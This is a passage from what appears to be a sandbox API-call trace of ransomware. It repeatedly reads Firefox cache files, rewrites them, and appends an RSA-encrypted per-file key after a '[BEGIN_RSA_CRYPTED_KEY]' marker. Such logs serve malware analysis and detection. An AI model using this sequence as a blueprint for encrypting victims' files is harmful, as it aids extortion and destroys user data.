lpNumberOfBytesRead=0x2e3f9b4*=0x21a0, lpOverlapped=0x0) returned 1 [0256.944] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-8608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.944] WriteFile (in: hFile=0x1b84, lpBuffer=0x344c1f8*, nNumberOfBytesToWrite=0x21a0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344c1f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x21a0, lpOverlapped=0x0) returned 1 [0256.945] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x21a0 [0256.945] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.945] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.946] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0256.946] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0256.946] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0256.946] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="1wzx1JoAPpcZ7YzvUKjmZ7wF8sMx6wLtUeo1d8W/8OS3IyDwRKoUAD85j/4c+E6z\ngsD1+iyn99bRvZL31x3PxKhLON2pBUfa+IeMwMrUvoU0cVYvETGCSunL7KDhxyF4\n5gasf3LdIOF0b7dFCtKY0Sk9WHEAGmKZirsxgd8BuYpCBGhz0kWTw/ocdc2xFqnC\naItBT6HvBWV7YvwttpygscfjT9RxY/tHIGi6F6paz09kCVSdXr4QjdrpXoZuDGSj\ngCQ+tAt+kdbVjJytunoLWTwG/E3erlcfOS9KXk2N3jcnr4B828fLrkL/mSg45rBu\nmz7nRs8WFQtW3vbAaQISBQ==\n", pcchString=0x2e3f9a8) returned 1 [0256.946] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0256.946] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0256.946] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0256.947] CloseHandle (hObject=0x1b84) returned 1 [0256.949] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0256.949] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C06845AD909EAE17C1959FCD298671A28AC2C0DC", dwFileAttributes=0x80) returned 1 [0256.950] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xe27, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xe27, lpOverlapped=0x0) returned 1 [0257.006] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.006] WriteFile (in: hFile=0x1b84, lpBuffer=0x344ae80*, nNumberOfBytesToWrite=0xe27, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344ae80*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe27, lpOverlapped=0x0) returned 1 [0257.006] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe27 [0257.006] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.007] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.007] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.007] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.007] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.007] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VoOLBWSoT3lk8ICK+OmesH4zwGLWgJBr+19HZkvn/tpvbt6esiD0NaswYibMbc2z\nICHgvmzM5IaH8/2ooHHtSZsIpgrfj9VlHWyJFX6WJyfB2YtPGn4wVvA51nsLeDqZ\n2UqH2taX9gVrNjqhkMzXSYY33kJSV0yUpaXjWYw6VmGE/cFfRtFpZC8d5S6/tqLK\n4jcO6XaMcsEQtq/AslsK/HmDgyk8V+23VxcNyRpkkdeSdOGDXdH6LsA91vB3tFrc\n4awjMVL+fi4wC4BrLykBMG3kI2Ra26hb2BM+iRaWlq3p18OulDYfZ0ncaH4po2u0\n+YcregYYEHToaX6Hp9wpXg==\n", pcchString=0x2e3f9a8) returned 1 [0257.007] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.008] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.008] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.008] CloseHandle (hObject=0x1b84) returned 1 [0257.009] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.009] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\C05DF2CAE557D2CE92AB1A963718191E60229A1D", dwFileAttributes=0x80) returned 1 [0257.010] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xef4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0257.011] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3828, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.011] WriteFile (in: hFile=0x1b84, lpBuffer=0x344af50*, nNumberOfBytesToWrite=0xef4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344af50*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef4, lpOverlapped=0x0) returned 1 [0257.011] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef4 [0257.011] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.012] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.012] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.012] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.012] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.012] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dKQTa/TWVnLeic2jHfYRZyvBC1oY5g3oI9xXAW2U8ZNhYjKiIpM+Qb+lk0X9l1eZ\n1MyZFKEBl+yV/NnKS3bPHKbUZLbsJrVdpkO5RPhyeT1ygFJuKlD5CldxRaVmgeOO\nVKkiX5E0wY1g+zQRtJ22wIW4jXFcViZwxdhFG7MKwSz9bcm3U6xKL3NhUUvxfyt8\ndPVuoE1mZZ4mXlHdRhOEDpqoCl2zBl6SWfIVNsO6Sbq+YkwKZujujmSLTGI1kSCR\nHBoi+nX6Uif6DTdYklFOTOEjmixaMW+blktTLAbrBFTLf8ErFhvkKrFSMLqcxaHR\nkncPCtE8oQ2iLx9KNculVw==\n", pcchString=0x2e3f9a8) returned 1 [0257.012] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.013] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.013] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.013] CloseHandle (hObject=0x1b84) returned 1 [0257.015] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.015] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BF285FC93CD6B2EBB6A656E52C5A19A2E729280E", dwFileAttributes=0x80) returned 1 [0257.016] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xb92, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xb92, lpOverlapped=0x0) returned 1 [0257.051] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.051] WriteFile (in: hFile=0x1b84, lpBuffer=0x344abf0*, nNumberOfBytesToWrite=0xb92, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344abf0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb92, lpOverlapped=0x0) returned 1 [0257.052] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb92 [0257.052] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.052] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.053] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.053] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.053] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="+kWdkuhgSon+Cva4CuDmf0unchbL37c3d2z2qk63+XnHc7FtElaDUtccaIH2zhZY\npp+HAkGjaa8Hwt96FzhXKlSw0flnVaPQKq2+4Rso++tGtkH1U/KPblPa0w69x058\nd4iwfdFKIbbO0hyItv+Aw/5ucbwphmFhRkPRnEwEc/8hqtoeJoIymMprrbi3w7Cu\n+WHyHtl6theTkhzRUFJQ3vZFSKQsmrqNUOnn/rQMdRVzR6/xBEhshZ0O2DqvC/KO\nUfyd5GmZ4rE0TLNdt1s39MINc9EZ/Wpxz8yvutn2aFhEWbM3HvL5AE3aaCyz4MdA\n1DVBgC5k+2DLeMa+EW04EA==\n", pcchString=0x2e3f9a8) returned 1 [0257.053] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.053] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.053] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.054] CloseHandle (hObject=0x1b84) returned 1 [0257.056] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.056] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BEB7A412B644E3F7CBEF7C83255F2577FF08FA4A", dwFileAttributes=0x80) returned 1 [0257.057] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xa11, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xa11, lpOverlapped=0x0) returned 1 [0257.058] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2577, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.058] WriteFile (in: hFile=0x1b84, lpBuffer=0x344aa70*, nNumberOfBytesToWrite=0xa11, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344aa70*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa11, lpOverlapped=0x0) returned 1 [0257.059] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa11 [0257.059] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.059] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.059] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.060] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.060] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="glzB+O8Xc7HjYq8cCGBhuX9ka/AolkL7FjG/1K9tTKSCe6s0MclazceKZd4+x2PW\nqIWiuWpkRLtBPWFuomrv4gk+WYjyxUEFiSRP94owNBVr9igdSyeuYcXwqzhnRpSE\nvwPDTNXMIMirnWFuiHkr2neWeqkrHZkhWSUBe1bW8op/n8zif1crehBAxFbUYYFK\n40aGyhkgBCt4rv+C8Km9gW3I7c8VnGGRDv9Xh9vhLYPw370uw7DWr1VIkcdwZnxV\nLlEk91AXCj7pQ91mUtdzhyO7ZZ+FrZWCRG8F/q3Vc6+Jwe8N81WOamHENarz8xSw\nYRfYOdiXCWdl7NwpNWwUaA==\n", pcchString=0x2e3f9a8) returned 1 [0257.060] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.060] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.060] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.060] CloseHandle (hObject=0x1b84) returned 1 [0257.062] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.062] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BE235F5BAB5719EEAD4CAD9AF1D0E3B082143D8C", dwFileAttributes=0x80) returned 1 [0257.063] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0x1139, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0257.078] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4409, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.078] WriteFile (in: hFile=0x1b84, lpBuffer=0x344b198*, nNumberOfBytesToWrite=0x1139, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344b198*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1139, lpOverlapped=0x0) returned 1 [0257.079] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1139 [0257.079] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.079] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.080] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.080] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.080] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.080] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rOqtmdfpZ/lfHsOkyF3ojAMCJZKGh7TKjiUFWwDSJ8ldBcGZ6rxmNXms9OiY1I/y\nHZ0+M9BmVNYBlHuTCy9GY51cEpsljxYXPuOOtLhNQnbuyFlpGwMACLgNBANpNQcG\nth5lOyUCwmSclp2RGT1HM0sGfd9nQHuKFOt7TFDNXfq9avTNzt97mxSNiZrqPqFm\nsb50rHKhKe45x2FIhqk9A27VtxOUAFnyuUtisFIYJKiQeBACRgV+myHB4NBaVHd4\nQDq4+FOV5U0r/m4+1lMABLNNWrgFIoRzVJNElGeG2qHOmIMZz6HVJuiviIHTgHkb\nN9rH8TxuWrtMvr3XOa/Hhg==\n", pcchString=0x2e3f9a8) returned 1 [0257.080] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.081] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.081] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.082] CloseHandle (hObject=0x1b84) returned 1 [0257.083] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.083] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BC1DC3B5416AC37B28316AF5F93381568531D592", dwFileAttributes=0x80) returned 1 [0257.084] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xadd2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, lpNumberOfBytesRead=0x2e3f9b4*=0xadd2, lpOverlapped=0x0) returned 1 [0257.145] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-44498, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.145] WriteFile (in: hFile=0x1b84, lpBuffer=0x3454e30*, nNumberOfBytesToWrite=0xadd2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3454e30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xadd2, lpOverlapped=0x0) returned 1 [0257.146] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xadd2 [0257.146] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.146] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0257.146] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0257.147] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0257.147] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="dCrJEA4n1npQlteF54J2i+OROUxxart5wr2oPYgAjSXWkymT/wDniHiL2n+oeeEy\nWCpll5KWk0F4OlNSJrH7GnnlkMRGyg9UZSuh6mOkR5HvzU+9PTnBD01by2MWCGXP\n9gSZ0NxFoXh6X4/G84faXe9FvndL4O7p74cBhllirAMWNsaU/+KNY2wfUfpvNoqY\nBjlR2VA55qg4gPkEaVPpkrcIUBmLMincNFVoCIHroCR4h9ZDXoHzFfgPQwOEawPn\npsdyvSnSfMxtJiiLHYYTdTBTDYlOHYPIQ3lD/ML999q7jHyQsSaJ+zgDZOMYUdNA\nmklQYe5yGFhjiRzXO/J4oA==\n", pcchString=0x2e3f9a8) returned 1 [0257.147] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0257.147] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0257.147] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0257.147] CloseHandle (hObject=0x1b84) returned 1 [0257.156] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0257.156] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\BB105FFB48FE0C718D14620470C9B2C30F7A0D9E", dwFileAttributes=0x80) returned 1 [0257.157] ReadFile (in: hFile=0x1b84, lpBuffer=0x344a050, nNumberOfBytesToRead=0xb99, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344a050*, 